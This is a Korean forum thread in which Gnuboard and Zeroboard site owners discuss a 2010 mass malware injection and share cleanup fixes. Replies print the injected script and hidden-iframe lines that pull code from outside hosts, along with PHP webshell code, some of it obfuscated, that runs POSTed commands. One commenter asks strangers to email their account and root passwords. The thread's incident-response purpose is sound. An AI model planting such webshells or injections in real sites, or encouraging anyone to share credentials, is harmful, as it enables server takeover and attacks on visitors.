악성코드 때문에 어떻게 해야할지? 그누보드패치요함..
호스팅 카페24를 사용하고 있습니다.
그런데 25일 사이트 파일들에 악성코드가 삽입이 일괄적으로 엄청나게 이루어졌습니다.
삽입된코드는 아래와 같습니다.
<script src=http://www.geto.co.kr/state/x.js></script>
그런데 카페24에서 그누보드를 사용하고 있는 많은곳에서 동일한 코드가 삽입되어 문제가 된다고 합니다.
그래서 삽입되기 이전으로 복원신청을 해서 복원이 ㅤㄷㅚㅆ는데.. 복원되고 얼마안되 또 악성코드가 삽입됩니다.
<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
이런코드들이 삽입이 또 엄청되구요.. 보안패치는 나올때마다 한다고 다 한것 같은데 그렇습니다. 아직 패치를 안하신분들은 이상이 생기시기전에 일단 빨리 패치부터 하셔야할것 같습니다. 그런데 패치를 했는데도 도통 문제가 무엇인지 모르겠습니다. 제 사이트만 그렇다고 그럼 피싱이 의심되지만 카페24전체 긴급공지가 이루어지고 여러 업체가 그렇다고 하니 피싱되어 변조된것은 아닌것 같습니다.
카페24에서는 어제 전체메일과 문의게시판등의 전체공지로 그누보드에 대한 빠른 보안패치를 요한다고 긴급공지를 했습니다만..
카페24에 문의해서 그럼 어떻게 해야하느냐 물어보니 그누보드에 문의해봐야 할것같다는 답변을 받았습니다.
관리자님께 연락을 할방법을 이리저리 찾아봐도 문의게시판도 없고 쪽지를 보내려고해도 쪽지도 못보내고 메일도 없고 해서 어느곳에 적어야 할지 몰라 이곳에 적게 되었습니다.
크리스마스 연휴에 손놓고 있다 월요일 아침부터 뭔일인지 모르겠습니다.
동일한 문제를 겪으셨는데 해결하신분이나 어떻게 해야하는지 관리자님, 고수님들께 도움좀 부탁좀드리겠습니다.
그런데 25일 사이트 파일들에 악성코드가 삽입이 일괄적으로 엄청나게 이루어졌습니다.
삽입된코드는 아래와 같습니다.
<script src=http://www.geto.co.kr/state/x.js></script>
그런데 카페24에서 그누보드를 사용하고 있는 많은곳에서 동일한 코드가 삽입되어 문제가 된다고 합니다.
그래서 삽입되기 이전으로 복원신청을 해서 복원이 ㅤㄷㅚㅆ는데.. 복원되고 얼마안되 또 악성코드가 삽입됩니다.
<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
이런코드들이 삽입이 또 엄청되구요.. 보안패치는 나올때마다 한다고 다 한것 같은데 그렇습니다. 아직 패치를 안하신분들은 이상이 생기시기전에 일단 빨리 패치부터 하셔야할것 같습니다. 그런데 패치를 했는데도 도통 문제가 무엇인지 모르겠습니다. 제 사이트만 그렇다고 그럼 피싱이 의심되지만 카페24전체 긴급공지가 이루어지고 여러 업체가 그렇다고 하니 피싱되어 변조된것은 아닌것 같습니다.
카페24에서는 어제 전체메일과 문의게시판등의 전체공지로 그누보드에 대한 빠른 보안패치를 요한다고 긴급공지를 했습니다만..
카페24에 문의해서 그럼 어떻게 해야하느냐 물어보니 그누보드에 문의해봐야 할것같다는 답변을 받았습니다.
관리자님께 연락을 할방법을 이리저리 찾아봐도 문의게시판도 없고 쪽지를 보내려고해도 쪽지도 못보내고 메일도 없고 해서 어느곳에 적어야 할지 몰라 이곳에 적게 되었습니다.
크리스마스 연휴에 손놓고 있다 월요일 아침부터 뭔일인지 모르겠습니다.
동일한 문제를 겪으셨는데 해결하신분이나 어떻게 해야하는지 관리자님, 고수님들께 도움좀 부탁좀드리겠습니다.
|
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기
댓글 24개
2010년4월이니깐 약 8개월이 지났네요. 그뒤로는 문제가 발생하지 않더라구요.
그누보드라서 유독 그런건 아니라고 생각됩니다만..
혹시라도 도움이 되실지 모르겠네요.
http://l2zeo.com/it/96?category=24
ps. 절대 블로그 홍보 아닙니다;
그누보드만의 문제로 보여지지는 않습니다.
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=ro521.com/&client=googlechrome&hl=ko
l2zeo 님의 말씀처럼 구글 웹마스터 도구등을 사용하여 사이트 검토를 요청해 보시기 바랍니다.
만약, 그누보드의 문제로 인하여 특정 코드가 삽입되었다면 해당 코드가 삽입되지 못하도록 하는 코드를 제공하도록 하겠습니다.
개별적으로 문제 해결은 해드리지 못하는 점 양해 바랍니다.
분석결과 그누보드 게시판 data/file/게시판이름/ 에 이상한 파일이 들어가 있는것을 발견
파일이름: visitLog.php 2010_.php
visitLog.php내용은 다음과 같습니다.
<?ob_start();?><script src=http://www.geto.co.kr/state/x.js></script>
<?php eval($_POST[cmd]);?>
visitLog.php파일이 먼저 생성되고 2010_.php파일이 생성되였는데 2010_.php파일은 웹쉘파일이였습니다. 아시다싶이 웹셀은 서버자체가 통채로 공제당하는것이라 뒤문이 펑 뚤린것과 마찬가지지요.
로그분석으로 아이피를 추적해보았는데 해당 아이피는 211.238.12.90(한국) 123.114.104.183(중국) 이였습니다.
이틀간 문을 닫고 뚜져보았는데 여기에서 제일 무서운것은 웹셀인데 교묘하게 이름을 바꾸어서 사이트 이곳저곳에 심어놓아서 파일 하나하나 애디터로 열어서 체크해야 찾아낼수 있습니다.웹셀이 살아있는한 악성코드를 삭제하더라도 간단하게 새로운 코드를 심어놓을수 있습니다.
그리고 이상한 코드가 들어있는 파일도 발견하였습니다. - data/help.php
<?ob_start();?><script src=http://www.geto.co.kr/state/x.js></script>
<?php
preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'($_POST[cmd])','a');
?>
이 코드는 여러개 파일에서 발견하였는데 211.238.12.90 아이피가 해당 파일에 액세스 한 기록을 로그에서 찾을수 있었습니다.
이상 참고를 해 주시기 바랍니다.
찾질 못하겠네요...-_-;
마이위트도 당했구요.. ㅜㅜ 원인 분석중입니다.
일단 스크립트 제거 mysql 쿼리 입니다.
UPDATE `g4_board` SET bo_content_head = replace( bo_content_head, '<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>', '' ) ;
if ($tmp_mb_id = get_cookie("ck_mb_id"))
{
// **************************************
// 이 코드가 포함되어 있는지 확인 바랍니다.
$tmp_mb_id = substr(preg_replace("/[^a-zA-Z0-9_]*/", "", $tmp_mb_id), 0, 20);
// **************************************
// 최고관리자는 자동로그인 금지
if ($tmp_mb_id != $config['cf_admin'])
잘 안되시면 kagla@naver.com 로
계정, root 다 알려주세요.
저는 제로보드에서 걸렸음 아마 크리스마스 선물 갔네요 TT;
정말 산타할아버지가 선물은 안주고 악성코드만 죄다 크리스마스선물로 준듯합니다.
곱슬최씨님 말씀듣고 확인해보니까 정말 테이블에도 죄다 밖혀있네요.. 그리고 아방가르님 말씀대로 html, php는 기본이고 플래쉬, js, lib, bak 할것없이 죄다 여기저기 다 밖혀있습니다.
이거뭐 데이터부분만 문제가 있는지 알았는데 DB에도 밖혀있고 종합선물세트입니다. 이걸 어디서부터 어떻게 손을 데야할지도 모르겠고.. 런던아트님 말씀데로 복구만 계속한다고 답도 나오는게 아니고 뒷골땡겨옵니다. 문제가 한두분의 문제가 아닌만큼 서로 해결방법에 대해 공유를 할수 있었으면 합니다. 이걸 우째야 하노..ㅠㅜ
참고하세요..
일단 최신버젼으로 업글하시고
그누보드 sql injection 취약점을 통한 해킹방지를 위해 아래 작업을 진행 해 주시기 바랍니다.
1. 그누보드 업로드 디렉토리에 php 실행 차단을 꼭 설정해 주십시오.
php_value engine off 를 .htaccess 로 생성하여 그누보드가 설치된 디렉토리 내 data/file/ 에 추가합니다.
(주의 : 파일 이름은 글자 그대로 .htaccess 이며, 확장자가 없습니다.)
입력내용 => php_value engine off
파일위치 => data/file/.htaccess
고객님의 계정은 이미 설정해두었습니다.
2. 그누보드 관리자 계정 모두 비번 15자(영,숫자 포함) 이상으로 변경해주시고, 관리자 권한을
가진 계정을 최소화 해주시기 바랍니다.
현재 여러 해킹 사이트에서 그누보드 관리자의 암호를 풀 수 있는 크랙툴이 유포되고 있습니다.
777 ->644 변경하세요
현재 저도 수정중에 있는데 백본이 있어서 비교하면서 작업중인데...
권한이 777 있는것은 거의 다 걸려 있음 ..TT
여튼 이렇게 귀한 공동체 나눔이 있어서 고비를 넘깁니다... 다들 감사해요. 귀한 연말 연시 되시길 소망드립니다... :) 읏샤 읏샤!!!
부랴부랴 질답게시판에 올렸다가 답변에 올린 이 글 링크 따라 왔네요.
일단 급한 불은 껐습니다만 아직 불안한 마음뿐이에요.
그래도 많은 분들이 힘을 모아 주시니 고맙고 든든합니다.
모두들 새해 복 많이 받으세요.^^
injection일 수도 있을 것 같습니다.
팁게에 소소하게 올렸는데
며칠 전에 운영중인 사이트에
$write_table 변수를 통한 SQL injection 공격이 있었습니다
관리자 권한을 가진 ID 정보를 SELECT 해서 가져가보는 녀석인데요.
인젝션은 되는데 Blind SQL Injection 처럼 막 때려보던 수준이라
DB 느려진 것 이외에 큰 피해는 없었습니다.
http://sir.co.kr/bbs/board.php?bo_table=g4_tiptech&wr_id=25255
SQL injection 이 시작이었다기 보다는
FTP나 파일업로드 취약점 등이 더 원인에 가까울거같네요
며칠 script짜느라고 고생좀 했죠.
zeroboard의 취약성을 타고 심어진것인데 다음과 같은 코드가 hml, 이미지 할것없이 화일 끝에 첨가되었습니다.
다행히 데이타베이스는 깨끗합니다.
다음 script로 화일을 원상복귀했습니다.
작업을 위해 linux shell과 perl, sed가 필요합니다.
첨가된 악성코드는 s/ 다음부터 //g 사이 입니다. /는 \로 escape 했습니다.
sed를 이용하여 악성코드를 없앴니다. (sed -i -f pattern filename)
pattern
s/<?ob_start();?><iframe src="http:\/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><iframe src="http:\
/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><script src="http:\/\/j5b.kr\/bin\/h.js"><\/script>//g
모든 디렉토리를 탐색하여 감염된 화일을 찾습니다. grep으로 찾습니다. image화일은 match라고 만나옵니다.
Replacetext.pl
sub traverse {
my ($dir, $callback) = @_;
my $present;
opendir $present, $dir or return();
for (grep { ! /^(\.|\.\.)$/ } readdir $present) {
my $path = "$dir/$_";
&$callback($path);
traverse($path, $callback) if -d $path;
}
closedir $present;
return();
}
sub search_pattern {
my $file = shift;
$output = `grep $pattern $file`;
if (($output =~ /$pattern/) or ($output =~ /matches/)){
# use input and output same file
# use -i option
$status = `sed -i -f /home3/twooneu8/Perl/pattern $file`; -->위의 pattern 화일을 절대경로로 지정합니다.
# print "Report: $status\n";
# print "Report: found\n";
}
else {
# print "[$file] :$pattern not found - $output\n";
}
return;
}
traverse("/home3/twooneu8/FSC", \&search_pattern); -->지울 디렉터리를 첫번째 param에 지정합니다.